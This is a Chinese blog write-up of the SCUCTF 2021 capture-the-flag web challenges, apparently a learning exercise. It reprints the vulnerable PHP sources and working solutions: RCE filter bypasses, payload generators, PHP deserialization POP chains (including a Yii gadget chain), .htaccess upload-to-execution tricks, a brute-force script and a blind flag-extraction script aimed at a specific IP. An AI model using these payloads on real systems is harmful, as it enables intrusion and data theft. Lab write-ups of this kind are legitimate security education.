[SCUCTF]2021 校赛 Web题目复现

web

1 入门

查看headers

2 shell

<?php 
if(isset($_GET['eval'])){ 
	$eval = $_GET['eval']; 
	if(!preg_match('/[0-9]|[a-z]|\^|\+|\||\$|\[|\]|\{|\}|\&|\-/i', $c)){ 
		eval("$eval"); 
		}else{
		die("hacker??"); } 
		}else{
		highlight_file(__FILE__); 
		}
?>

懂得都懂

直接执行命令

system("cat ../../../flag")

3 shell_revenge

<?php 
if(isset($_GET['eval'])){ 
	$eval = $_GET['eval']; 
	if(!preg_match('/[0-9]|[a-z]|\^|\+|\||\$|\[|\]|\{|\}|\&|\-/i', $eval)){ 
		eval("$eval"); 
		}else{
		die("hacker??"); } 
		}else{
		highlight_file(__FILE__); 
		}
?>

欸过滤一大堆,不过留了一个“~”

考虑取反绕过

附上Y4师傅脚本:

<?php

function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

negateRce();

4 fastapi

签到题,无过滤

__import__('os').popen('cat /f10g').read()

5 奇妙的验证码

最开始写了一个脚本,但运行后发现一直弹计算器而没有得到flag。后来看了wp才发现当请求验证码公式过快时,则返回的不是公式,而是让你弹计算机的命令,可以用While 循环判断一下即可。这里附上Y4师傅脚本学习:

import requests
session = requests.session()

url_pre = 'http://xxxxx'
url_cap = url_pre + '/captcha.php'
url_log = url_pre + '/login.php'

for i in range(1000,9999):
    res = session.get(url_cap).text
    while '__import__' in res:            //如果调用计算器脚本存在则重新请求一次
        res = session.get(url_cap).text
    data = {
        'username': 'admin',
        'password': f'{i}',
        'captcha': (eval(res)),
        'objectType': 'Window',
    }
    r = session.post(url_log, data=data)
    if "Wrong username or password" not in eval(r.text)['msg']:
        print(r.text)
        print(i)

6 野兽先辈的文件

在这里插入图片描述

打开发现需要我们下载一个文件

在这里插入图片描述

但是图片很大明显不正常,抓包查看响应头,发现文件总大小为1145141919810893个字节。那么在看了wp之后我们发现这里需要用到HTTP多线程下载原理。

多线程下载的原理: HTTP协议的请求头中有一个Range字段, 通过这该参数可以告诉服务器, 只给我目标资源的部分数据; 客户端通过多线程分别向服务端请求目标资源的如原理图1,2,3号线程所获取的资源一样, 将每个线程说获取到的资源放到一个文件里面, 就组成了一个完整的目标资源.

HTTP 请求头 Range

请求资源的部分内容(不包括响应头的大小),单位是byte,即字节,从0开始.

Range 头是在 HTTP/1.1 协议中新增的一个请求头。包含 Range 头的请求通常称为范围请求,因为 Range 头允许服务器只发送部分响应到客户端,它是下载工具实现多线程下载的核心所在,而且在传送大的媒体文件或者实现文件下载中的断点续传功能时非常有用。

在使用范围请求时,我们首先需要确定服务器是否支持范围请求。假如在响应中存在 Accept-Ranges 这一头部字段,而且它的值也不为“none”,那么则表示该服务器支持范围请求。

Range 请求头格式

Range: bytes=start-end

bytes 用来表示请求的范围,单位为字节,start 和 end 用来表示这个范围的起始位置。例如:

  • ​ Range: bytes=20- :获取请求中第 20 个字节之后数据;
  • ​ Range: bytes= -50 :获取请求中最后 50 个字节的数据;
  • ​ Range: bytes=40-100 :获取请求中第 40 个字节到第 100 个字节之间的数据。

那么我们通过抓包,再更换bytes里的内容,直接读取文件最后,就可以拿到flag了。

7 Bypass_waf

 <?php
/**
 * Created by Y4tacker
 **/
include_once "waf.php";

if (!empty($_POST['look'])){
    if ("waf"==$_POST['look']){
        highlight_file("waf.php");
    }
    eval($_POST['eval']);
}else{
    highlight_file(__FILE__);
} 

构造look参数,得到waf代码

 <?php
highlight_file(__FILE);

$write_log_filename_pre = './log/y4tacker';

if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') {
    write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI'];
$data = file_get_contents('php://input');
$headers = get_all_headers(); //获取header
filter_RCE_Y4tacker(filter_attack_keyword(filter_invisible(filter_CRLF_Y4tacker(urldecode(filter_0x25($url))))));
filter_RCE_Y4tacker(filter_attack_keyword(filter_invisible(filter_CRLF_Y4tacker(urldecode(filter_0x25($data))))));

foreach ($_GET as $key => $value) {
    $_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
    filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
    $_SERVER[$key] = filter_dangerous_words($value); //简单过滤

}

function get_all_headers()
{
    $headers = array();
    foreach ($_SERVER as $key => $value) {
        if (substr($key, 0, 5) === 'HTTP_') {
            $headers[$key] = $value;
        }
    }
    return $headers;
}


function filter_invisible($str)
{
    for ($i = 0; $i < strlen($str); $i++) {
        $ascii = ord($str[$i]);
        if ($ascii > 126 || $ascii < 32) { 
            if (!in_array($ascii, array(
                9,
                10,
                13
            ))) {
                write_attack_log("interrupt");
            } else {
                $str = str_replace($ascii, " ", $str);
            }
        }
    }
    $str = str_replace(array(
        "`",
        "|",
        ";",
        ","
    ), " ", $str);
    return $str;
}


function filter_0x25($str)
{
    if (strpos($str, "%25") !== false) {
        $str = str_replace("%25", "%", $str);
        return filter_0x25($str);
    } else {
        return $str;
    }
}

function filter_attack_keyword($str)
{
    if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b
|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m
ultipoint\(/i", $str)) {
        echo "99999";
        write_attack_log("SQLI");
    }

    if (substr_count($str, $_SERVER['PHP_SELF']) < 2) {
        $tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
        if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) {
            write_attack_log("LFI/LFR");;
        }
    }
    if (preg_match("/base64_decode|eval\(|assert\(|system|passthru|exec|popen|proc_open|pcntl_exec|assert|pcntl_exec|proc_open|shell_exec/i", $str)) {
        write_attack_log("EXEC");
    }
    if (preg_match("/flag/i", $str)) {
        write_attack_log("GETFLAG");
    }
}


function filter_dangerous_words($str)
{
    $str = str_replace("'", "‘", $str);
    $str = str_replace("\"", "“", $str);
    $str = str_replace("<", "《", $str);
    $str = str_replace(">", "》", $str);
    $str = str_replace("?", "??", $str);
    return $str;
}


function get_http_raw()
{
    $raw = '';
    $raw .= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n";
    foreach ($_SERVER as $key => $value) {
        if (substr($key, 0, 5) === 'HTTP_') {
            $key = substr($key, 5);
            $key = str_replace('_', '-', $key);
            $raw .= $key . ': ' . $value . "\r\n";
        }
    }
    $raw .= "\r\n";
    $raw .= file_get_contents('php://input');
    return $raw;
}


function write_attack_log($alert)
{
    global $write_log_filename_pre;
    $url = getSchema() . $_SERVER["HTTP_HOST"];
    date_default_timezone_set("Asia/Shanghai");
    $data = date("Y/m/d H:i:s") . " --
[" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n";
    $ffff = fopen("$write_log_filename_pre".'['.$alert.']'.".txt", 'a'); //日志路径
    fwrite($ffff, $data);
    fclose($ffff);
    if ($alert == 'GETFLAG') {
        header("location:$url");
    } else {
        header("location:$url");
    }
    exit(0);
}


function filter_CRLF_Y4tacker($str)
{
    if (preg_match("/GET|POST/i", $str)) {
        str_replace("/GET|POST/i", "aa", $str);
    }
    return $str;
}


function getSchema()
{
    if (isset($_SERVER["HTTP_X_CLIENT_SCHEME"])) {
        $scheme = $_SERVER["HTTP_X_CLIENT_SCHEME"] . "://";
    } elseif (isset($_SERVER["REQUEST_SCHEME"])) {
        $scheme = $_SERVER["REQUEST_SCHEME"] . "://";
    } else {
        $scheme = "http://";
    }

    return $scheme;
}


function filter_RCE_Y4tacker($str)
{
    if (preg_match("/`|system|passthru|exec|popen|proc_open|pcntl_exec|assert|pcntl_exec|proc_open|shell_exec|file_exists|file_put_contents|file_get_contents|fopen|fpassthru|fread|fputs|fscanf|fread|putenv|chroot|chgrp|chown|ini_alter|ini_restore|dl\(|openlog|syslog|readlink|symlink|popepassthru|pcntl_alarm|pcntl_fork|pcntl_|imap_open|setenv/i", $str)) {
        str_replace("/`|system|passthru|exec|popen|proc_open|pcntl_exec|assert|pcntl_exec|proc_open|shell_exec|file_exists|file_put_contents|file_get_contents|fopen|fpassthru|fread|fputs|fscanf|fread|putenv|chroot|chgrp|chown|ini_alter|ini_restore|dl\(|openlog|syslog|readlink|symlink|popepassthru|pcntl_alarm|pcntl_fork|pcntl_|imap_open|setenv/i", "aaa", $str);
    }
    return $str;
}

?> 

代码很长过滤了很多东西,慢慢看

解法1

首先我们POST输入的数据是以

$data = file_get_contents('php://input');

传入

image-20220406142227027

也就是说当将POST请求改为multipart/form-data则上述方法无法接收到参数,过滤函数就无法起到作用,可以绕过。

image-20220406151033423

解法二

仔细审计发现作者留下了字母,数字,()等字符,我们可以通过 join和chr两个函数,其中chr用来列出字符串,利用array方法将其组成数组,最后利用join函数将数组中的字符组成字符串。这里给出利用脚本:

python

def xxx(s):
    flag = '(join(array('
    for i in s:
        flag += "chr(" + str(ord(i)) + "),"
    flag += ")))"
    return flag

method = "system"
data = "cat /flag"

print(xxx(method)+xxx(data)+";")

php

<?php
/**
 * Created by Y4tacker
 **/



function generatePayload($eval){
    $res = '';
    for ($i=0;$i<strlen($eval);$i++){
        if ($i!=strlen($eval)-1){
            $tmp = "chr(".ord($eval[$i]).").";
        }else{
            $tmp = "chr(".ord($eval[$i]).")";
        }
        $res.=$tmp;
    }
    return "(join(array(".$res.")))";
}

$eval = "system";
$command = "cat /flag";

echo "eval=".generatePayload($eval).generatePayload($command).";&look=1";

最终:

image-20220406145354672

解法3

Payload来自:lastsward
在这里插入图片描述

8 ez_unserialize

<?php
error_reporting(0);
highlight_file(__FILE__);
class hackMe{
    protected $formatters;
    
    
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
    
    public static function hackMMM(){
        echo "Hello web🐶!";
    }
    
    public function format($formatter, $arguments)
    {
        $this->getFormatter($formatter)->patch($arguments[0][4][1]);
    }
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
    }
}

class Ox401{
    protected $events;
    protected $event;
    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
    
     public static function welcome(){
        echo "Welcome to 0x401 Team!";
    }
}

class flag{
    protected $f1ag;

    public function patch($Fire){
        call_user_func($this->f1ag,$Fire);
    }
}

if($_POST['a']!=$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){
    if(file_get_contents(substr($_POST['a'],0,20))!=null){
        @unserialize(base64_decode($_POST['c']));
    }else{
        hackMe::hackMMM();
    }
}else{
    Ox401::welcome();
}
?>

构造pop链

class Ox401 -> __destruct		//建立hackMe对象,当调用不存在的方法时触发__call
↓↓↓
class hackMe -> __call 			//建立flag对象
↓↓↓
class flag -> patch				//回调函数进行代码执行

POC:

<?php
class hackMe{
    protected $formatters;
    public function __construct(){
        $this->formatters['dispatch'] = new flag();
    }
}

class Ox401{
    protected $events;
    protected $event;
    public function __construct(){
        $this->events = new hackMe();
        $this->event[4][1]= "cat /flag";
    }
}

class flag{
    protected $f1ag = "system";
}

echo base64_encode(serialize(new Ox401()))."\n";

这里需要注意的是在反序列化之前有一个md5绕过

$_POST['a']!=$_POST['b'] && md5($_POST['a'])===md5($_POST['b']

这里额外加入了一个条件 file_get_contents(substr($_POST['a'],0,20)),也就是说我们需要获取到文件才能进行反序列化

windows可以下载fastcoll,碰撞生成两个md5值相同但内容不同的文件

fastcoll.exe -p 123.txt -o 1.txt 2.txt

image-20220406162153965

直接打:
image-20220406183935788

9 ez_auth

<?php
error_reporting(0);
include "config.php";

function LoginSign($array, $key)
{
    if (isset($array['auth'])){
        unset($array['auth']);
    }
    return md5(implode('-', $array) . $key);
}

foreach ($_GET as $key => $val) {
    if (!isset($$key)) {
        $$key = $val;
    }
}

foreach ($_POST as $key => $val) {
    //过滤全局变量
    if (isset($key) && $val[0] !== '_') {
        $tmp = json_decode($val);
        foreach ($tmp as $kkey => $vval) {
            ${$key}[$kkey] = $vval;
        }
    }else{
        die("fucccc????");
    }
}
if (isset($auth)) {
    if (LoginSign($_GET, $secrett) === $auth) {
        if (in_array($username, array('admin'))) {
            echo("Congratulations!</br>Give you flag❀:");
            echo fread(fopen("/flag","r"),200);
        } else {
            echo 'welcome ' . $username . 'but only admin can get flag!';
            echo '</br>';
        }
    } else {
        echo 'wrong auth.</br>Guess the authkey???';
    }
} else {
    highlight_file(__FILE__);
    die("Please Login first!");
    
} 

审计代码,应该是考察变量覆盖

首先GET方法可以生成不存在的变量

foreach ($_GET as $key => $val) {
    if (!isset($$key)) {
        $$key = $val;
    }
}

POST方法传入参数经json_decode后根据下标进行替换

最后验证拿flag,这里有三个if条件判断,auth和username都不存在,可以通过GET方法传入进行赋值,通过get传参传入的变量auth与真正的auth的md5进行比较,而由于可以使用post传参进行变量覆盖,这个auth也自然可控制了。

最后相当于admin11111111111111111111111111111111进行md5加密后即为auth

http://xxx/index.php?username=admin&auth=b5d0baf7bc06b412e077c422e5b3cb74

secrett=["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1","1", "1", "1", "1", "1", "1", "1", "1","1", "1", "1", "1", "1", "1", "1","1", "1", "1", "1"]

image-20220407131645044

10 upload

www.zip源码泄露

<?php
    error_reporting(0);
    session_start();
    include('config.php');

    $upload = 'upload/'.md5("y4tacker".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    
    if(isset($_POST['submit'])){
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
			$filename=addslashes($_FILES['file']['name']);
			if (preg_match("/file/i",file_get_contents($_FILES["file"]["tmp_name"]))){
                @unlink($_FILES["file"]["tmp_name"]);
                die("fucccc????");
            }
            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
			echo $upload.'/'.$filename;
        }
    }

考虑.htaccess文件的利用,Y4总结

这里能够上传php文件但不能执行,猜测没有解析,我们可以让htaccess把自己指定当做 php文件处理,因为当前目录下没有php文件

<Fil\
es .htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Fi\
les>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

其中正则过滤用\绕过

image-20220407135421657

查看一下disable_functions,过滤了一些命令执行函数,利用require绕过

image-20220407142800898

11 ez_upload

同样源码泄露,这次过滤更严格了

<?php
    error_reporting(0);
    session_start();
    include('config.php');

    $upload = 'upload/'.md5("y4tacker".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    
    if(isset($_POST['submit'])){
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
			$filename=addslashes($_FILES['file']['name']);
			if (preg_match("/?p|file|open|read|write|get|read|highlight|encode|print|eval|assert|\$|_|[|show|~|%|{|\||+/i",file_get_contents($_FILES["file"]["tmp_name"]))){
                @unlink($_FILES["file"]["tmp_name"]);
                die("fucccc????");
            }
            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
			echo $upload.'/'.$filename;
        }
    }

写个脚本,利用.htaccess 创建自定义的出错页面

import requests
import string

addr = '55bece3da8cc7a90dde9ae8520260c99'
def check(a):
  f = '''
  <If "fi\\
le('/flag')=~ /'''+a+'''/">
 ErrorDocument 404 "snakin"
 </If>
  '''
  resp = requests.post("http://1.117.171.248:39543/index.php",data={'submit': 'submit'}, files={'file': ('.htaccess',f)} )
  a = requests.get("http://1.117.171.248:39543/upload/"+addr+"/a").text
  if "snakin" not in a:
   return False
  else:
   return True
flag = "flag{"
c = "u-_"+string.ascii_letters + string.digits + "\{\}"
for j in range(32):
 for i in c:
  print("checking: "+ flag+i)
  if check(flag+i):
   flag = flag+i
   print(flag)
   break
  else:
   continue

image-20220407144910012

11 easy_yii

http://url/web/?r=test/test&name=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A5%3A%22close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22yii%5Crest%5CIndexAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A14%3A%22highlight_file%22%3Bs%3A2%3A%22id%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D


<?php
namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{
    private $_dataReader;
    public function __construct()
    {
        $this->_dataReader=new \Faker\Generator();
    }
}
namespace yii\base;
class BaseObject{
}
namespace yii\rest;
class Action{

    public $checkAccess='highlight_file';
    public $id='/flag';
}
class IndexAction extends Action{
}
namespace Faker;
class Generator{
    protected $formatters = array();
    public function __construct()
    {
        $this->formatters['close']=[(new \yii\rest\IndexAction()),"run"];
    }
}
use \yii\db\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));

12 not_sql

www.zip源码泄露

index.php

<?php
require_once "func.php";

if(isset($_GET['file'])){
	require_once(__DIR__."/".$_GET['file'].".php");
}
else{
	if($_SESSION['login']=='apuNvZHuang'){
		echo "<script>window.location.href='./index.php?file=update'</script>";
	}
	else{
		echo "<script>window.location.href='./index.php?file=login'</script>";
	}
}
?>

这里根据file参数来加载文件

login.php

<?php
require_once('func.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>login</title>
<center>
	<form action="login.php" method="post" style="margin-top: 300">
	    <img src="./1.png"><br><br>
		<h2>Apu看了也流泪:👍---百万前端Y4tacker</h2>
		<input type="text" name="username" placeholder="UserName" required>
		<br>
		<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
		<br>
		<button style="margin-top:20;" type="submit">登录</button>
		<br>
		<br>
<?php 
$user=new user();
if(isset($_POST['username'])){
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
		die("<br>爬黑客,就凭你还想注入!");
	}
	if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
		die("<br>爬黑客,就凭你还想注入!");
	}
	$user->login();
}
?>
	</form>
</center>

登陆页面,对输入字符进行了一些过滤

update.php

<?php
require_once('func.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
</html>';
if ($_SESSION['login']!='apuNvZHuang'){
	echo "登陆admin就给Flag,我保证,🙏!";
}
$users=new User();
$users->update();
if($_SESSION['login']==='apuNvZHuang'){
	require_once("flag.php");
	echo $flag;
}

?>

提示登录得到flag

func.php

<?php
error_reporting(0);
session_start();
function safe($parm){
        $array= array('out','like','union','regexp','load','into','flag','dump','insert',"'",'\\',"*","alter");
    return str_replace($array,'fuckU!',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']='apuNvZhuang';
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="y4tacker";
    public $dbpass="y4tacker";
    public $database="y4tacker";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("connection error:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('wrong user!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('wrong password!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }

}

这里能看出发序列化字符逃逸的影子

function safe($parm){
        $array= array('out','like','union','regexp','load','into','flag','dump','insert',"'",'\\',"*","alter");
    return str_replace($array,'fuckU!',$parm);
}

构造一下链子

UpdateHelper->__destruct
User->__toString
Info->__call
dbCtrl->login

POC:

class User
{
    public $age='select password,id from user where username=?';
    public $nickname=null;
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
}
class UpdateHelper
{
    public $sql;
}
class dbCtrl
{
    public $hostname = "127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name='admin';
    public $token = 'admin';
}

function post($data){
    $data = http_build_query($data);
    $opts = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
                "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
        )
    );
    $html = file_get_contents('http://42.192.137.212:1235/index.php?action=update', false, stream_context_create($opts));
    echo $html;
}

$x = new UpdateHelper();
$x->sql = new User();
$x->sql->nickname = new Info();
$x->sql->nickname->CtrlCase = new dbCtrl();

总结

时隔一年再次做这些题,从之前的毫无头绪到现在能够独立解出很多,终归还算是有些进步。当然部分题目只是简单看了一下,解题过程就搬wp啦。

参考:
https://blog.csdn.net/solitudi/article/details/117607859

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值